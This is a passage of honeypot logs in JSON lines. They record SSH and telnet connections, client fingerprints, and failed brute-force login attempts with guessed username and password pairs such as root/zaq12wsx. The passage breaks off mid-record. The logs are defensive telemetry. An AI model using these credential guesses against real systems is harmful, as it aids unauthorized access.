{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":32804,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3ecac032c77","protocol":"ssh","message":"New connection: 45.156.87.253:32804 (10.17.0.5:22) [session: c3ecac032c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:20.039792Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:20.043742Z","src_ip":"45.156.87.253","session":"c3ecac032c77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:20.122431Z","src_ip":"45.156.87.253","session":"c3ecac032c77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:20.441437Z","src_ip":"45.156.87.253","session":"c3ecac032c77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:21.529109Z","src_ip":"45.156.87.253","session":"c3ecac032c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":32814,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad35a38602d5","protocol":"ssh","message":"New connection: 45.156.87.253:32814 (10.17.0.5:22) [session: ad35a38602d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:23.336811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:23.340467Z","src_ip":"45.156.87.253","session":"ad35a38602d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:23.420802Z","src_ip":"45.156.87.253","session":"ad35a38602d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq12wsx","message":"login attempt [root/zaq12wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:23.662190Z","src_ip":"45.156.87.253","session":"ad35a38602d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":35972,"dst_ip":"159.203.135.109","dst_port":23,"session":"a59d18344ad4","protocol":"telnet","message":"New connection: 107.6.151.170:35972 (159.203.135.109:23) [session: a59d18344ad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:24.434238Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:24.743995Z","src_ip":"45.156.87.253","session":"ad35a38602d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":38370,"dst_ip":"10.17.0.5","dst_port":22,"session":"6936076a76c4","protocol":"ssh","message":"New connection: 91.92.40.11:38370 (10.17.0.5:22) [session: 6936076a76c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:26.464734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:26.740976Z","src_ip":"91.92.40.11","session":"6936076a76c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":32822,"dst_ip":"10.17.0.5","dst_port":22,"session":"310a3325b428","protocol":"ssh","message":"New connection: 45.156.87.253:32822 (10.17.0.5:22) [session: 310a3325b428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:26.832747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:26.839040Z","src_ip":"45.156.87.253","session":"310a3325b428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:26.874816Z","src_ip":"91.92.40.11","session":"6936076a76c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:26.919302Z","src_ip":"45.156.87.253","session":"310a3325b428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:27.161547Z","src_ip":"45.156.87.253","session":"310a3325b428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"password","message":"login attempt [admin/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:27.557728Z","src_ip":"91.92.40.11","session":"6936076a76c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:28.244086Z","src_ip":"45.156.87.253","session":"310a3325b428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:28.795175Z","src_ip":"91.92.40.11","session":"6936076a76c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57574,"dst_ip":"10.17.0.5","dst_port":22,"session":"1636e4bac98f","protocol":"ssh","message":"New connection: 45.156.87.253:57574 (10.17.0.5:22) [session: 1636e4bac98f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:30.134991Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:30.140115Z","src_ip":"45.156.87.253","session":"1636e4bac98f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:30.222983Z","src_ip":"45.156.87.253","session":"1636e4bac98f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword1","message":"login attempt [root/P@ssword1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:30.472259Z","src_ip":"45.156.87.253","session":"1636e4bac98f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:31.556583Z","src_ip":"45.156.87.253","session":"1636e4bac98f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57586,"dst_ip":"10.17.0.5","dst_port":22,"session":"58fc57e326ae","protocol":"ssh","message":"New connection: 45.156.87.253:57586 (10.17.0.5:22) [session: 58fc57e326ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:33.434575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:33.437936Z","src_ip":"45.156.87.253","session":"58fc57e326ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:33.628856Z","src_ip":"45.156.87.253","session":"58fc57e326ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"root","message":"login attempt [teamspeak/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:33.934089Z","src_ip":"45.156.87.253","session":"58fc57e326ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:35.016984Z","src_ip":"45.156.87.253","session":"58fc57e326ae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":35190,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ca92dcacb7a","protocol":"ssh","message":"New connection: 198.1.75.59:35190 (159.203.135.109:22) [session: 7ca92dcacb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:36.455458Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:36.459395Z","src_ip":"198.1.75.59","session":"7ca92dcacb7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:36.550735Z","src_ip":"198.1.75.59","session":"7ca92dcacb7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Strk#Tr0ng!P@ss","message":"login attempt [root/Strk#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:36.817615Z","src_ip":"198.1.75.59","session":"7ca92dcacb7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":57598,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f36d06bc172","protocol":"ssh","message":"New connection: 45.156.87.253:57598 (10.17.0.5:22) [session: 0f36d06bc172]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:36.902887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:36.906171Z","src_ip":"45.156.87.253","session":"0f36d06bc172","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:36.985592Z","src_ip":"45.156.87.253","session":"0f36d06bc172","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jellyfin","password":"root","message":"login attempt [jellyfin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:37.347004Z","src_ip":"45.156.87.253","session":"0f36d06bc172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":43424,"dst_ip":"10.17.0.5","dst_port":22,"session":"85106d979494","protocol":"ssh","message":"New connection: 62.133.62.83:43424 (10.17.0.5:22) [session: 85106d979494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:37.416100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:55:37.419154Z","src_ip":"62.133.62.83","session":"85106d979494","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha